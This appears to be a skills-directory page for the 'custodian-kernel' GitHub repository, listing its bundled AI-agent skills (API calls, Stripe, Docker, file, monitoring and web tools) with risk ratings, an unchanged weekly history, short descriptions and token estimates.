Not in the top 1,000 by GitHub stars
KeyArgo/custodian-kernel
Kernel-enforced authority and spend platform for AI agents
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
custodian/bundled_skills/ai/anthropic-chat/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/ai/cohere-embed/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/ai/openai-chat/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/ai/replicate-run/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/ai/together-infer/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/alerts/pagerduty-alert/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/alerts/telegram-send/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/alerts/twilio-voice-call/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/calendar/calendar-create/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/calendar/calendar-delete/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/calendar/calendar-event-create/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/calendar/calendar-event-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/calendar/calendar-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/calendar/calendar-update/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/cloud/s3-delete/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/cloud/s3-get/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/cloud/s3-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/cloud/s3-put/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/communication/discord-webhook/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/communication/email-send/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/communication/push-notification/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/communication/slack-channel-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/communication/slack-message/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/communication/sms-send/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/communication/webhook-post/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/custodian-meta/custodian-anchor/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
491f40facf87 → 491f40facf87
custodian/bundled_skills/custodian-meta/custodian-status/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
491f40facf87 → 491f40facf87
custodian/bundled_skills/custodian-meta/paladin-vault-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
491f40facf87 → 491f40facf87
custodian/bundled_skills/database/mongodb-find/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/database/mysql-query/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/database/postgres-query/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/database/redis-delete/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/database/redis-get/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/database/redis-set/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/design-impeccable/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/design-taste/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/docker/docker-exec/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/docker/docker-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/docker/docker-logs/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/docker/docker-start/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/docker/docker-stop/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/files/file-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/files/file-read/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/files/file-write/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/files/shell-exec/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/github/github-comment/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/github/github-commit-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/github/github-file-read/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/github/github-issue-create/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/github/github-issue-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/github/github-pr-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/github/github-release-create/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/github/github-release-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/github/github-repo-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/memory/kv-delete/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/memory/kv-get/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/memory/kv-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/memory/kv-set/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/memory/sqlite-query/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/modal/modal-deploy/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/modal/modal-function-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/modal/modal-invoke/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/monitoring/dns-lookup/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/monitoring/http-health-check/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/monitoring/ip-geolocation/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/monitoring/ping-host/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/monitoring/port-scan/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/monitoring/ssl-cert-check/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/monitoring/whois-lookup/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/nvidia/huggingface-infer/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/nvidia/nim-job-status/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/nvidia/nim-job-submit/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/nvidia/nim-model-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/nvidia/openai-complete/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/payments/stripe-spend/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/scheduling/cron-create/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/scheduling/cron-delete/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/scheduling/cron-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/scheduling/task-queue-add/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/scheduling/task-queue-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/security/hmac-verify/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/security/jwt-decode/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/security/paladin-import/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/security/secrets-scan/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/stripe/stripe-balance/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/stripe/stripe-charge-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/stripe/stripe-customer-create/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/stripe/stripe-customer-lookup/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/stripe/stripe-invoice-send/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/stripe/stripe-payout/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/stripe/stripe-price-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/stripe/stripe-refund-list/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/stripe/stripe-subscription-cancel/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/stripe/stripe-subscription-create/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/utilities/base64-decode/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/utilities/base64-encode/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/utilities/currency-convert/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/utilities/hash-sha256/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/utilities/json-transform/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/utilities/timezone-lookup/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/utilities/url-parse/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Local scripts → After Local scripts
491f40facf87 → 491f40facf87
custodian/bundled_skills/web/http-get/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/web/http-post/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/web/news-search/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/web/web-scrape/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
custodian/bundled_skills/web/web-search/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
491f40facf87 → 491f40facf87
Heat
0.3- Star growth, last 7 daysNot available
- Star growth, last 24 hoursNot available
- Rank movement, last 7 daysNot available
- Commits, last 30 daysNot available
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekNot available
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
30-day change not yet available: not enough history.
Individual skills in this repository
- anthropic-chat
custodian/bundled_skills/ai/anthropic-chat - cohere-embed
custodian/bundled_skills/ai/cohere-embed - openai-chat
custodian/bundled_skills/ai/openai-chat - replicate-run
custodian/bundled_skills/ai/replicate-run - together-infer
custodian/bundled_skills/ai/together-infer - pagerduty-alert
custodian/bundled_skills/alerts/pagerduty-alert - telegram-send
custodian/bundled_skills/alerts/telegram-send - twilio-voice-call
custodian/bundled_skills/alerts/twilio-voice-call - calendar-create
custodian/bundled_skills/calendar/calendar-create - calendar-delete
custodian/bundled_skills/calendar/calendar-delete - calendar-event-create
custodian/bundled_skills/calendar/calendar-event-create - calendar-event-list
custodian/bundled_skills/calendar/calendar-event-list - calendar-list
custodian/bundled_skills/calendar/calendar-list - calendar-update
custodian/bundled_skills/calendar/calendar-update - s3-delete
custodian/bundled_skills/cloud/s3-delete - s3-get
custodian/bundled_skills/cloud/s3-get - s3-list
custodian/bundled_skills/cloud/s3-list - s3-put
custodian/bundled_skills/cloud/s3-put - discord-webhook
custodian/bundled_skills/communication/discord-webhook - email-send
custodian/bundled_skills/communication/email-send - push-notification
custodian/bundled_skills/communication/push-notification - slack-channel-list
custodian/bundled_skills/communication/slack-channel-list - slack-message
custodian/bundled_skills/communication/slack-message - sms-send
custodian/bundled_skills/communication/sms-send - webhook-post
custodian/bundled_skills/communication/webhook-post - custodian-anchor
custodian/bundled_skills/custodian-meta/custodian-anchor - custodian-status
custodian/bundled_skills/custodian-meta/custodian-status - paladin-vault-list
custodian/bundled_skills/custodian-meta/paladin-vault-list - mongodb-find
custodian/bundled_skills/database/mongodb-find - mysql-query
custodian/bundled_skills/database/mysql-query - postgres-query
custodian/bundled_skills/database/postgres-query - redis-delete
custodian/bundled_skills/database/redis-delete - redis-get
custodian/bundled_skills/database/redis-get - redis-set
custodian/bundled_skills/database/redis-set - design-impeccable
custodian/bundled_skills/design-impeccable - design-taste
custodian/bundled_skills/design-taste - docker-exec
custodian/bundled_skills/docker/docker-exec - docker-list
custodian/bundled_skills/docker/docker-list - docker-logs
custodian/bundled_skills/docker/docker-logs - docker-start
custodian/bundled_skills/docker/docker-start - docker-stop
custodian/bundled_skills/docker/docker-stop - file-list
custodian/bundled_skills/files/file-list - file-read
custodian/bundled_skills/files/file-read - file-write
custodian/bundled_skills/files/file-write - shell-exec
custodian/bundled_skills/files/shell-exec - github-comment
custodian/bundled_skills/github/github-comment - github-commit-list
custodian/bundled_skills/github/github-commit-list - github-file-read
custodian/bundled_skills/github/github-file-read - github-issue-create
custodian/bundled_skills/github/github-issue-create - github-issue-list
custodian/bundled_skills/github/github-issue-list - github-pr-list
custodian/bundled_skills/github/github-pr-list - github-release-create
custodian/bundled_skills/github/github-release-create - github-release-list
custodian/bundled_skills/github/github-release-list - github-repo-list
custodian/bundled_skills/github/github-repo-list - kv-delete
custodian/bundled_skills/memory/kv-delete - kv-get
custodian/bundled_skills/memory/kv-get - kv-list
custodian/bundled_skills/memory/kv-list - kv-set
custodian/bundled_skills/memory/kv-set - sqlite-query
custodian/bundled_skills/memory/sqlite-query - modal-deploy
custodian/bundled_skills/modal/modal-deploy - modal-function-list
custodian/bundled_skills/modal/modal-function-list - modal-invoke
custodian/bundled_skills/modal/modal-invoke - dns-lookup
custodian/bundled_skills/monitoring/dns-lookup - http-health-check
custodian/bundled_skills/monitoring/http-health-check - ip-geolocation
custodian/bundled_skills/monitoring/ip-geolocation - ping-host
custodian/bundled_skills/monitoring/ping-host - port-scan
custodian/bundled_skills/monitoring/port-scan - ssl-cert-check
custodian/bundled_skills/monitoring/ssl-cert-check - whois-lookup
custodian/bundled_skills/monitoring/whois-lookup - huggingface-infer
custodian/bundled_skills/nvidia/huggingface-infer - nim-job-status
custodian/bundled_skills/nvidia/nim-job-status - nim-job-submit
custodian/bundled_skills/nvidia/nim-job-submit - nim-model-list
custodian/bundled_skills/nvidia/nim-model-list - openai-complete
custodian/bundled_skills/nvidia/openai-complete - stripe-spend
custodian/bundled_skills/payments/stripe-spend - cron-create
custodian/bundled_skills/scheduling/cron-create - cron-delete
custodian/bundled_skills/scheduling/cron-delete - cron-list
custodian/bundled_skills/scheduling/cron-list - task-queue-add
custodian/bundled_skills/scheduling/task-queue-add - task-queue-list
custodian/bundled_skills/scheduling/task-queue-list - hmac-verify
custodian/bundled_skills/security/hmac-verify - jwt-decode
custodian/bundled_skills/security/jwt-decode - paladin-import
custodian/bundled_skills/security/paladin-import - secrets-scan
custodian/bundled_skills/security/secrets-scan - stripe-balance
custodian/bundled_skills/stripe/stripe-balance - stripe-charge-list
custodian/bundled_skills/stripe/stripe-charge-list - stripe-customer-create
custodian/bundled_skills/stripe/stripe-customer-create - stripe-customer-lookup
custodian/bundled_skills/stripe/stripe-customer-lookup - stripe-invoice-send
custodian/bundled_skills/stripe/stripe-invoice-send - stripe-payout
custodian/bundled_skills/stripe/stripe-payout - stripe-price-list
custodian/bundled_skills/stripe/stripe-price-list - stripe-refund-list
custodian/bundled_skills/stripe/stripe-refund-list - stripe-subscription-cancel
custodian/bundled_skills/stripe/stripe-subscription-cancel - stripe-subscription-create
custodian/bundled_skills/stripe/stripe-subscription-create - base64-decode
custodian/bundled_skills/utilities/base64-decode - base64-encode
custodian/bundled_skills/utilities/base64-encode - currency-convert
custodian/bundled_skills/utilities/currency-convert - hash-sha256
custodian/bundled_skills/utilities/hash-sha256 - json-transform
custodian/bundled_skills/utilities/json-transform - timezone-lookup
custodian/bundled_skills/utilities/timezone-lookup - url-parse
custodian/bundled_skills/utilities/url-parse - http-get
custodian/bundled_skills/web/http-get - http-post
custodian/bundled_skills/web/http-post - news-search
custodian/bundled_skills/web/news-search - web-scrape
custodian/bundled_skills/web/web-scrape - web-search
custodian/bundled_skills/web/web-search
How it works
anthropic-chat
When your agent uses it
Call Anthropic Messages API (Claude) with a prompt
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
109 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore354 bytesscripts/execute.pyruns1,043 bytes
Read SKILL.md
# Anthropic Chat
Call Anthropic Messages API (Claude) with a promptView the complete source on GitHubcohere-embed
When your agent uses it
Generate text embeddings via Cohere Embed API
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
104 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore347 bytesscripts/execute.pyruns1,019 bytes
Read SKILL.md
# Cohere Embed
Generate text embeddings via Cohere Embed APIView the complete source on GitHubopenai-chat
When your agent uses it
Call OpenAI chat completions API with a prompt and system message
What it loads into context
Frontmatter
91 tokensAlways available to the agent
SKILL.md
113 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore378 bytesscripts/execute.pyruns1,102 bytes
Read SKILL.md
# Openai Chat
Call OpenAI chat completions API with a prompt and system messageView the complete source on GitHubreplicate-run
When your agent uses it
Run any Replicate model (image gen, audio, video) by version ID
What it loads into context
Frontmatter
94 tokensAlways available to the agent
SKILL.md
119 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore385 bytesscripts/execute.pyruns1,108 bytes
Read SKILL.md
# Replicate Run
Run any Replicate model (image gen, audio, video) by version IDView the complete source on GitHubtogether-infer
When your agent uses it
Call Together.ai inference API for open-weight models
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
104 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore360 bytesscripts/execute.pyruns1,046 bytes
Read SKILL.md
# Together Infer
Call Together.ai inference API for open-weight modelsView the complete source on GitHubpagerduty-alert
When your agent uses it
Trigger or resolve a PagerDuty incident for on-call escalation
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
110 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore384 bytesscripts/execute.pyruns1,129 bytes
Read SKILL.md
# Pagerduty Alert
Trigger or resolve a PagerDuty incident for on-call escalationView the complete source on GitHubtelegram-send
When your agent uses it
Send a message or file to a Telegram chat or channel
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
106 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore366 bytesscripts/execute.pyruns928 bytes
Read SKILL.md
# Telegram Send
Send a message or file to a Telegram chat or channelView the complete source on GitHubtwilio-voice-call
When your agent uses it
Place an outbound voice call via Twilio and read a TwiML script
What it loads into context
Frontmatter
94 tokensAlways available to the agent
SKILL.md
119 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore392 bytesscripts/execute.pyruns1,804 bytes
Read SKILL.md
# Twilio Voice Call
Place an outbound voice call via Twilio and read a TwiML scriptView the complete source on GitHubcalendar-create
When your agent uses it
Create a calendar event with attendees, time, and description
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
106 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore393 bytesscripts/execute.pyruns1,366 bytes
Read SKILL.md
# Calendar Create
Create a calendar event with attendees, time, and descriptionView the complete source on GitHubcalendar-delete
When your agent uses it
Delete a calendar event by ID
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
96 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore329 bytesscripts/execute.pyruns959 bytes
calendar-event-create
When your agent uses it
Create a Google Calendar event with title, time, and attendees
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
331 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,475 bytesSKILL.mdcore1,475 bytesscripts/execute.pyruns3,796 bytes
Read SKILL.md
# Calendar Event Create
Create a Google Calendar event with title, time, and attendees
## Authority band
This tool runs under **L1** authority in the Custodian kernel. Trivial autonomous spend or free side-effect — no human approval required.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubcalendar-event-list
When your agent uses it
List upcoming Google Calendar events for a given timerange
What it loads into context
Frontmatter
